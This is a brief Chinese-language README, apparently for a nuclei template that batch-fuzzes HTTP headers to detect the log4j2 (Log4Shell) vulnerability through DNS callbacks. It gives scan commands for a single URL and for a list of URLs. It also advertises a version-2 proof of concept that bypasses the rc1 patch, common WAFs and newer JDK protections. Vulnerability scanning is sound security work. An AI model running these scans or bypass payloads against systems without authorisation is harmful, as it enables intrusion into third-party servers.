log4j2漏洞快速轻量级检测
针对 log4j来批量fuzz 请求头检测,有效检测一些头部存在的安全风险,nuclei默认使用interactsh的dnslog
为什么用这种,这种方法也是从蜜罐中获取到攻击组织最常用的方法,简单,有效
v2版本
添加了绕过rc1的poc 也同时能绕过常见主流waf拦截,还有高版本jdk绕过

使用
/nuclei -t log4j-fuzz-head-poc.yaml -u http://www.test.com -o res.txt -rl 10 单个检测 速率为10(速率不要太高)
/nuclei -t log4j-fuzz-head-poc.yaml -l urls.txt -o res.txt -rl 10 批量检测 速率为10(速率不要太高)
